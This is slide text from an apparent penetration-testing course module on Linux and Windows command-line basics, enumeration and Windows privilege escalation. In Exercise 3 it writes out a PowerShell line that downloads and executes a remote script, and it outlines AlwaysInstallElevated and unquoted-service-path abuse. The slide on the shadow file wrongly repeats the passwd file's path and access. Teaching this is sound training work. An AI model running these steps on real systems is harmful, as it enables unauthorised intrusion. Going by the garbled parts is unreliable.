C3SA Module 05 V1
C3SA Module 05 V1
Operating System
Exploitation
Lab Setup
Linux Kernel
xUbuntu, OpenSUSE
CentOS Oracle Linux
Linux Mint
etc.
Filesystem types in linux
Majorly there are only most dominant type of filesystem for linux :
➤ Ext2
➤ Ext3
➤ Ext4
Ext2 filesystem
➤ All files and directories appear under the root directory /, even if they are
stored on different physical or virtual devices
➤ Most of these directories exist in all UNIX operating systems and are
generally used in much the same way.
Directory structure
➤ / (Root) : Primary hierarchy root and root directory of the entire file system
hierarchy.
■ Every single file and directory starts from the root directory.
■ Only root user has the right to write under this directory.
■ /root is root user’s home directory, which is not same as / .
In this section we will be learning about how to issue commands from CLI in
terminal. By command line, we mean a text-interface that allow us to enter
commands, execute them and view the results. We can run terminal and a
command line interpreter inside it (called shell). Let’s move on from installation
to using the tools and getting involved in penetration testing.
➤ “whoami” command:
Command used to know the current user we are logged in.
➤ “pwd” command:
It means “on what location you are” on the linux filesystem hierarchy. The
parent directory is “/” called root directory, inside this the whole filesystem
exists. Also known as present working directory.
➤ “ls” command:
It is used to see files and directories inside a directory. If we want to look up
inside another directory, we have to specify the location.
➤ “cd” command:
It is used for changing the directory.
➤ “mkdir” command:
we all have created a directory in windows GUI. Command line Interface is
the fastest way to operate to operating system.
➤ “cat” command:
Browsing the file system, we find files having contents, cat command is
used to see, edit contents inside a file.
➤ “cp” command:
it is used to copy files and folders from one location to another location.
➤ “rm” command:
It is used to remove files and folders.
➤ “uname” command:
It is used to know the name of your linux machine.”uname” stands for Unix
name, it displays detailed information about the machine name, operating
system and kernel.
➤ “w” command:
To show who is logged in and what they are doing, we use the ‘w’
command. It displays information about logged in users and their respective
processes.
➤ “head” command:
It is used to display the top lines of a file. By default, it display the top 10 line of a
file.
➤ “tail” command:
It is used to display the bottom line of a file. By default, it display the bottom 10 line
of a file.
➤ “ps” command:
It displays the currently running processes in a linux system.
Network commands:
➤ “ifconfig” command:
It is used for network interface configuration (a network interface controller is a
computer hardware that connects a computer to a computer network). It
displays the status of currently active interfaces.
➤ “ping” command:
ping command is used to verify that a device can communicate with another
device on a network. It sends ICMP echo request to other device to check it’s
connectivity.
➤ “wget” command:
wget or webget command is used to download a file directly from the web to the
terminal.
➤ “netstat” command:
print network connections, routing tables and other information about linux
subsystem.
➤ “service” command:
It is to initiate a service, also used to stop check status about a particular service.
➤ Exercises : Exercise 1
■ You can always auto mount some file using fstab file present in /etc/
The syntax of a fstab entry is :
[Device] [Mount Point] [File System Type] [Options] [Dump] [Pass]
File Permissions
File Permissions
➤ “Passwd” file
■ File located in
“/etc/passwd”
■ It contains sensitive
information like user
account etc
■ It is accessible by a
normal user
■ Attacker can enumerate
all users as well as
privileged users
➤ “Shadow” file
■ File located in
“/etc/passwd”
■ It contains sensitive
information like user
account etc
■ It is accessible by a normal
user
■ Attacker can enumerate all
users as well as privileged
users
➤ Check Running Processes
- What software?
- Commands:
“crontab -l”
“ls -la /etc/cron*”
Majorly there are only most dominant type of filesystem for Windows :
➤ All files and directories appear under the drives, even if they are
stored on different physical or virtual devices
GUI CLI
Issuing essential commands from command line
In this section we will be learning about how to issue commands from CLI in
terminal. By command line, we mean a text-interface that allow us to enter
commands, execute them and view the results. We can run terminal and a
command line interpreter inside it (called shell).
➤ “cd” command:
It is used for changing the directory.
➤ “mkdir” command:
we all have created a directory in windows GUI. Command line Interface is
the fastest way to operate to operating system.
➤ “type” command:
Browsing the file system, we find files having contents, types command is
used to see, edit contents inside a file.
➤ “netstat” command:
It is used to see list of all active TCP connections from the machine
➤ “ping” command:
It is used for checking the availability of any entity.
➤ “tracert” command:
Visualize the path your internet traffic takes to get from your browser to a
remote servers.
➤ “systeminfo” command:
Provides all the system information
➤ “more” command:
Filter the large output using this command
➤ “schtasks” command:
Used to schedule tasks directly from command line. It is like cronjob in
windows.
➤ “attrib” command:
Change file attributes. For ex : We can hide a visible file.
➤ “netsh” command:
Used to configure or setup the network tasks in a machine.
➤ “net” command:
Provides a wide functionality to interact with network / users etc.
➤ “icalcs” command:
Modify file system permissions
➤ “cls” command:
Clear the screen
➤ “driverquery” command:
List all drivers along with date
➤ “Tasklist” command:
Display all the scheduled tasks
➤ Exercises : Exercise 1
➤ Dot Sourcing:- Script will only be loaded in current powershell session, not
in different sessions.
➤ Import-Module cmdlet
➤ In case of hopping from one machine (or network) to another one can
also use built-in powershell hidden feature for port scanning. The
“Test-NetConnection” cmdlet will do this.
➤ Without importing any script we can scan an entire machine. If the
attribute ”TcpTestSucceeded” turns out to be true, Port is open. Cool?
➤ One can write a PowerShell script to scan all ports using this cmdlet.
➤ Exercises :
Exercise 3
-> $encodedcommand =
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($flopster))
1) iex (New-Object
System.Net.Webclient).DownloadString(‘https://Trusted_Domain/file.p
s1’); function_Name
➤ All service
- Enumerate the
permissions on a service
“sc.exe query"
- “net” command
“net start”
➤ Permissions over a service
- Enumerate the
permissions on a service
- Windows Sysinternals
package have
“Accesschk.exe” that is
used to check the service
permissions
➤ Enumerate Users / Groups
“net.exe user"
“net localgroups”
Privileged Groups
“netsh advfirewall
firewall show rule
name=all"
“cmdkey /list”
■ Replicate the previous demo in your own local lab [Windows Machine &
a Payload Server is required]
➤ Exercises :
NOTE : Check the privileges through which the meterpreter shell is taken.
Privilege Escalation
AlwaysInstallElevated
AlwaysInstallElevated
MisConfig Abuse
msiexec.exe wow.msi
2. Modifying Service Binary
➤ If any service path is not quoted correctly, then an attacker would abuse
the scenario.
C:\Users\Public.exe
C:\Users\Public Folder\example.exe
➤ Enumerate the specific version & check the publically available exploits
6. Custom Application
➤ What it is doing:
■ Copy pasting to another directory location
■ Transmitting data over network
■ Performing Permission based checks
■ Understand the purpose of the application